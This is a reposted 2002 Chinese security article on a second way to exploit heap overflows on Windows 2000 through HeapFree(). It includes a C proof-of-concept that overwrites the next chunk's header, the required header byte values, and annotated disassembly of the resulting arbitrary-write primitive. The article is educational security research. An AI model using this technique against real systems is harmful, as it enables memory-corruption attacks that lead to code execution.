【分析】Windows下的Heap溢出的另一种方法(WSS-Articles-02011)

来源:互联网 发布:海淀区淘宝静物摄影 编辑:程序博客网 时间:2024/05/16 06:24

Windows下的Heap溢出的另一种方法(WSS-Articles-02011)


创建时间:2002-05-30
文章属性:原创
文章来源:http://www.whitecell.org/
文章提交:alert7 (sztcww_at_sina.com)

Windows下的Heap溢出的另一种方法(WSS-Articles-02011)

Author:  ilsy
Email:   ilsy@whitecell.org
Homepage:http://www.whitecell.org
Date:    2002-05-30


感谢:alert7、isno

    Windows下的Heap溢出的文章现在并不多,isno写过一篇,我看了受益匪浅,但他实现的利用方法是
“假设我们分配完buf1之后向其中拷贝内容,拷贝的内容大小超过buf1的大小,即16字节,就会发生溢
出,当如果我们覆盖掉了那两个4字节的指针,而下一次分配buf2之前又没有把buf1释放掉的话,那么就
会把一个4字节的内容写入一个地址当中,而这个内容和地址都是我们能够控制的,这样我们就可以控制
函数的流程转向我们的shellcode了”,我下面描述另外一种利用方法,也算是给isno的那篇文章做一点
补充。
    在Windows下也是可以像Linux下那样用free()对Heap溢出进行利用,在Windows下用HeapAlloc()函数
分配内存后的内存和映象和结构我就不说了,可以看isno的文档,在HeapAlloc()分配完内存后,每一块
内存的前面都包含一个8字节的管理区,这个管理区应该是下面的样子:

0    4     5     6    8
|不祥|Field|Flags|不祥|


    这8个字节用于HeapFree时使用,假设我们分配2个32字节的内存,当向第一个32字节内存填充达38字
节内容时,这时,覆盖了第二个32字节内存的管理区的6个字节,如果这6个字节经过我们精心设计,我们
时可以控制程序的流向的。
下面代码演示分配2个32字节的内存,在调用HeapFree时发生错误:

#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <malloc.h>

int main (int argc, char *argv[])
{
  HANDLE hHeap;
  char *buf1, *buf2;
  
  //一个32字节的缓冲区
  char mybuf[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  
    
  //在进程的默认HEAP当中分配内存
  hHeap=GetProcessHeap();

  //分配两块32字节内存
  buf1 = HeapAlloc(hHeap, 0, 32);
  buf2 = HeapAlloc(hHeap, 0, 32);

  //把32字节的mybuf拷贝到16字节的buf1里面
  strcpy(buf1,mybuf);

  //更改管理结构
  memset(buf1+32,0x99,1);
  memset(buf1+32+5,0xff,1);
  
  //释放内存    
  HeapFree(hHeap, 0, buf1);
  //这里会出错
  HeapFree(hHeap, 0, buf2);

  return 0;
}


当程序在内存未释放前,内存映象是这样的:

0                                32                                      40
|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|0x99,0x00,0x05,0x00,0x00,0xff,0xxx,0xxx|

我们可以看到,管理区的前6个字节被我们改写了

第一个字节:必须大于0x80,我们改成0x99
第四个字节:必须小于0x40
第五个字节:第0和第3位必须置位,例如可以改成0x09,我们这里改成0xFF

我们可以分析_RtlHeapFree()的反汇编代码,这样可以知道为什么要这样改:

77FC9C97   mov         al,byte ptr [esi+5]
77FC9C9A   test        al,1            //检查管理区的第5字节的第0位是否置位
77FC9C9C   je          77FC9019
77FC9CA2   test        dl,7
77FC9CA5   jne         77FC9019
77FC9CAB   cmp         byte ptr [esi+4],40h    //检查管理区的第4字节是否小于0x40
77FC9CAF   jae         77FC9019
77FC9CB5   or          dword ptr [ebp-4],0FFh
77FC9CB9   mov         ecx,dword ptr [edi+580h]
77FC9CBF   test        ecx,ecx
77FC9CC1   je          77FC9D03
77FC9CC3   cmp         dword ptr [edi+584h],0
77FC9CCA   jne         77FC9D03
77FC9CCC   test        al,8            //检查管理区的第5字节的第0位是否置位
77FC9CCE   jne         77FC9D03
77FC9CD0   movzx       eax,word ptr [esi]
77FC9CD3   mov         dword ptr [ebp-30h],eax
77FC9CD6   cmp         eax,80h            //检查管理区的第1字节的是否大于0x80
77FC9CDB   jae         77FC9D03            //我们需要跳到这个地址
77FC9CDD   push        edx
77FC9CDE   lea         eax,[eax+eax*2]
77FC9CE1   shl         eax,4
77FC9CE4   add         eax,ecx
77FC9CE6   push        eax
77FC9CE7   call        77F89846
77FC9CEC   test        al,al
77FC9CEE   je          77FC9D03
77FC9CF0   mov         al,1
77FC9CF2   mov         ecx,dword ptr [ebp-10h]
77FC9CF5   mov         dword ptr fs:[0],ecx
77FC9CFC   pop         edi
77FC9CFD   pop         esi
77FC9CFE   pop         ebx
77FC9CFF   leave
77FC9D00   ret         0Ch

用release方式编译上面代码运行,弹出如下窗口:0x77fca200指令引用的0x41414141内存不能为written。

这个41414141在那里呢?我们用softice跟踪可以发现如下代码:

77FCA1EF   add         esi,-18h              //这时esi指向管理区的入口处,也就是buf1-18h处
(这个18在不同的版本的Windows 2000上是不一样的,请根据不同的Windows 2000版本处理),那里正是我们可以控制的
77FCA1F2   mov         dword ptr [ebp-64h],esi
77FCA1F5   mov         eax,dword ptr [esi]
77FCA1F7   mov         dword ptr [ebp-68h],eax
77FCA1FA   mov         esi,dword ptr [esi+4]
77FCA1FD   mov         dword ptr [ebp-6Ch],esi
77FCA200   mov         dword ptr [esi],eax        //写内存,发生错误
77FCA202   mov         dword ptr [eax+4],esi

有了上面的基础,我们就可以利用HeapFree()函数了,^_^
至于具体攻击程序的编写,请参考isno写的文章《Windows下的HEAP溢出及其利用》,方法是一样的。


WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forum/